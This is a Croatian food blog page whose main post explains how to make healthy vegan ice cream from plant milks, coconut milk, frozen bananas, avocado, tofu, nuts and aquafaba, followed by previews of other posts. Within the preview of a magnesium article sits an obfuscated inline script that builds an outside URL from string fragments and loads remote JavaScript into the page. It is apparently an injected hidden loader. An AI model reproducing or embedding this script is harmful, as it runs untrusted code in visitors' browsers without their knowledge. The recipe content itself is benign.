KAKO NAPRAVITI ZDRAVI SLADOLED?




Kako napraviti zdravi sladoled?



Ljeto je teško zamisliti bez sladoleda, no osvježavajuću poslasticu vrlo jednostavno možete pripremiti i kod kuće. Za kremastu teksturu nisu vam nužno potrebni mlijeko, jaja, vrhnje ni velike količine šećera. Dovoljno je odabrati nekoliko dobrih sastojaka i imati blender ili multipraktik.




Biljno mlijeko umjesto kravljeg

Za pripremu veganskog sladoleda možete upotrijebiti bademovo, sojino, zobeno ili mlijeko od indijskih oraščića. Birajte gušće i punomasnije varijante jer će dati bolju teksturu.

Rižino mlijeko obično je rjeđe i vodenastije pa sladoled može učiniti manje kremastim. Ako ga ipak želite upotrijebiti, kombinirajte ga sa zamrznutom bananom ili maslacem od orašastih plodova.



Punomasno kokosovo mlijeko za dodatnu kremoznost

Punomasno kokosovo mlijeko jedan je od najčešćih sastojaka veganskih sladoleda. Prije pripreme ostavite ga nekoliko sati u hladnjaku. Hlađenjem se njegov masniji dio zgusne i postane nalik vrhnju.

Kokosovo mlijeko posebno dobro pristaje uz mango, ananas, kakao, vaniliju i bobičasto voće.



Zamrznuta banana kao najjednostavnija baza

Za pripremu jednostavnog sladoleda dovoljne su zamrznute banane. Ogulite ih, narežite na ploške i zamrznite, a zatim izmiksajte dok ne dobijete glatku smjesu.

Banane daju gustoću, kremastu strukturu i prirodnu slatkoću. Možete ih kombinirati s jagodama, borovnicama, mangom, maslacem od kikirikija, kakaom ili vanilijom.



Avokado za svilenkastu teksturu

Zahvaljujući svojoj kremastoj teksturi i udjelu masnoća, avokado može biti odlična baza za domaći sladoled. Njegov okus nije osobito izražen pa ga je lako kombinirati s kakaom, bananom, limetom ili kokosovim mlijekom.

Osim glatke teksture, sladoledu daje i zanimljivu zelenu boju.



Svileni tofu kao biljna alternativa

Mekani svileni tofu može se upotrijebiti kao baza ili dodatak veganskom sladoledu. Neutralnog je okusa, a nakon miksanja postaje gladak i kremast.

Dobro se slaže s voćem, vanilijom, kakaom i maslacem od orašastih plodova. Prilikom kupnje provjerite deklaraciju ako želite da sladoled bude potpuno bez glutena.



Orašasti plodovi i njihovi maslaci

Indijski oraščići, bademi, lješnjaci, pistacije i orasi mogu sladoledu dati punoću okusa i gušću teksturu. Možete ih prethodno namočiti i izmiksati ili upotrijebiti gotov maslac od orašastih plodova.

Sjeckani orašasti plodovi mogu poslužiti i kao hrskavi dodatak prije posluživanja.



Aquafaba za laganiju strukturu

Aquafaba je tekućina u kojoj se kuhao slanutak ili ona koju pronađemo u konzervi slanutka. Može se miksati poput bjelanjaka sve dok ne postane pjenasta.

Pažljivo umiješana u pripremljenu smjesu, sladoledu može dati prozračniju i lakšu teksturu. Ako upotrebljavate tekućinu iz konzerve, birajte proizvod bez nepotrebnih dodataka i s manje soli.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više